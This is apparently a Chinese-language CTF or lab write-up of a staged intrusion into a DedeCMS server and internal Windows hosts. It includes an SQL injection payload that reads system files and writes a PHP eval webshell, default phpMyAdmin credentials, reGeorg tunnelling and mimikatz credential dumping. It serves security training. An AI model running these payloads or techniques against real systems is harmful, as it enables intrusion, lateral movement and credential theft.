hugo/ex6.md at 97528c59427f92ea2cf89c611cc9ee3acfa1dbca

可以发现用户为root，数据库名为dedecmsv57utf8sp1。考虑到Apache的配置文件在centos下一般为 /etc/httpd/conf/httpd.conf ，故可以通过load_file来读取文件的内容，参数为 id=1 UNION SELECT 1,2,load_file('/etc/httpd/conf/httpd/conf') ，查看结果

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420CioQdV.png" >}}

Apache 配置文件的内容已经显示了出来，因为在Apache配置文件中，网站根目录一般在配置项DocumentRoot后面，故我们在网页上搜索root，可以找到根目录对应的内容

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420lSwH5Y.png" >}}

可见网站的根目录为 /var/www/html 我们通过INTO OUTFILE来向文件中写入一句话木马，构造参数为 id=1 UNION SELECT 1,'<?php eval($_POST[a]);?>',3,4,5,6,7,8,9,10 INTO OUTFILE '/var/www/html/myshell.php'# 结果为

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420jtbEvZ.png" >}}

根据刚才的经验我们可以知道大概率是一句话木马中某些字符被过滤掉了，绕过这种字符过滤有很多方法，如将字符转换为16进制，将字符转换为URL编码等。这里我们尝试URL编码，使用在线工具将一句话木马转换为URL编码。如下

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04203TgOch.png" >}}

执行，得到的结果如下

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420oN3Rty.png" >}}

可见转换出现了一些问题，故我们改用16进制的形式写入一句话木马。同样使用在线转换将一句话木马转换为16进制字符串，转换结果为

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04208Xr2il.png" >}}

将该16进制串传入参数，发送请求

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420czDYVz.png" >}}

可见写入成功，使用菜刀连接

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04204x8PrZ.png" >}}

填入一句话木马文件和请求参数，连接成功，查看根目录下的文件

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/042065oq4j.png" >}}

可以看到flag文件，查看其内容为

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420QBlsDS.png" >}}

flag为 flag3{fd5d4d5a199e9e8bfadead5f5e52895a}

任务三

查看之前扫描网站目录的结果

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/042090J9xV.png" >}}

可推测该网址为phpmyadmin的登陆页面，查看该网址，得到

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420ti4Yju.png" >}}

可见确实为phpmyadmin的登陆页面，phpmyadmin的默认用户名和密码均为root，我们使用默认用户名和密码尝试登陆

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04203lWdV3.png" >}}

登陆成功，执行sql语句查看httpd配置文件的内容

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420VuWdjw.png" >}}

可见内容类型为blob，打开选项，显示blob内容

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04205ebZtZ.png" >}}

可见成功显示了httpd配置文件的内容，同样通过查找找到网站的根目录为 /var/www/html ，在localhost执行sql查询写入一句话木马到myadmin.php文件，因为没有过滤，故可以直接将一句话木马写入，如下

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421fq8RQi.png" >}}

使用菜刀连接

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421CZoii9.png" >}}

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421pkJKX6.png" >}}

连接成功在phpmyadmin中打开第一个数据库，根据表明搜索flag表，如下

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421HJi37x.png" >}}

得到flag为 flag2{912ec803b2ce49e4a541068d495ab570}

任务四

使用菜刀上传内网扫描脚本到web的机器上，内网扫描的脚本文件在工具文件夹下的web端口扫描中。为RASscan.py文件，我们查看其文件内容可以得知其使用方法为 ./RASscan.py 192.168.2.1 192.168.2.254 -t 20

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421UfGwRk.png" >}}

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421irO4fv.png" >}}

使用菜刀查看上传的文件，并用菜刀打开一个虚拟终端

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421vMK9Ty.png" >}}

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04217tkglW.png" >}}

可见文件已经成功上传，执行内网扫描脚本扫描内网

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421OAzRWC.png" >}}

由python文件的内容可知扫描结果保存在log.txt文件中，使用菜刀将log.txt文件下载下来并查看

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421IdEVgL.png" >}}

可见扫描到了内网中的192.168.2.10 主机和192.168.2.11主机，且都开放了3389端口，上传reGeorg来开启代理服务，查看reGeorg文件夹中的readme文件，可以看到reGeorg的用法

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421JRJTk2.png" >}}

首先上传tunnel文件到服务端，这里我们选择php文件。然后上传tunnel和reGeorg文件

{{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421hbD4GW.png" >}}

在网页中访问tunnel.php文件，没有响应，我们使用burp suite查看返回的数据包显示500，说明php代码有错误，经过查阅资料可知服务端php不支持socket,注意到工具reGeorg文件夹下还有一个nosocket的php文件，我们将这个文件上传到服务端，访问该文件，得到可见tunnel成功建立，在操作机上使用reGeorg设置对应的端口和tunnel文件可见tunnel建立成功，这时已经可以使用代理来进行访问了。继续使用proxifier工具配置代理，新建一个代理配置，ip为127.0.0.1，端口为刚才设置监听的端口，这里是6677。配置代理规则，这里我们将所有数据包都通过代理发送，同时排除python脚本自身通过远程桌面连接连接到192.168.2.11主机上，发现我们不了解远程主机的管理员密码，回想之前在尝试sql注入的时候，看到过dede_admin表中的数据，有两个用户账号，一个是admin，另外一个是administrator，故很有可能是管理员密码，我们在phpmyadmin中找到这个表，查看其中的内容可见密码为topsec.123，我们尝试使用这个密码登录，登陆成功查看C盘根目录下的flag文本文件的内容为 flag4{238fb735876083b832229d279b995062}

任务五

使用mimikatz在之前远程桌面登陆的机器上抓取密码在这之前我们先要了解一下什么是windows域和域控

域(Domain)是Windows网络中独立运行的单位，域之间相互访问则需要建立信任关系。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后，2个域之间不但可以按需要相互进行管理，还可以跨网分配文件和打印机等设备资源，使不同的域之间实现网络资源的共享与管理，以及相互通信和数据传输。

域控即域控制器（Domain controller，简称DC）是指在计算机网络域内响应安全身份认证请求的网络服务器，负责允许发出请求的主机访问域内资源，以及对用户进行身份验证，存储用户账户信息，并执行域的安全策略。

可见在域控主机上存储着域内所有主机的用户账户信息，在验证用户身份的过程中要使用用户的账户名和密码，而mimikatz这个工具的强大之处就在于，通过它你可以提升进程权限注入进程读取进程内存，当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码。同样也可以获取其他进程中的账户名和密码。因此结合mimikatz我们就可以得到在这个域下主机的账户名和密码。下面进行尝试。首先将mimikatz上传到目标机器上，这里我们可以通过在远程桌面连接时将本地主机的硬盘挂载到连接的远程主机上来访问本地主机中的文件将mimikatz文件拷贝到远程主机的硬盘中即可。以管理员运行mimikatz，提升权限抓取密码 sekurlsa::logonPasswords 我们已知本机的域为simple-PC，我们尝试使用simple-PC域中的用户Administrator和密码topsec.123登陆192.168.2.10，失败。发现还抓取到了另外一个域即TEST域中的用户名Administrator和密码Simplexue123 我们使用该密码登陆192.168.2.10，登陆成功(这里如果要指定使用某个域中的用户名可以使用TEST/Administrator作为用户名登陆，这样就指定了TEST域下的Administrator用户)。查看C盘根目录下的flag文本文件的内容为 flag5{6aa16f9b07f2d00b16b94aa797488b38}

16 KiB Raw Blame History Unescape Escape

实验过程

任务一

任务二

任务三

任务四

任务五

16 KiB

Raw Blame History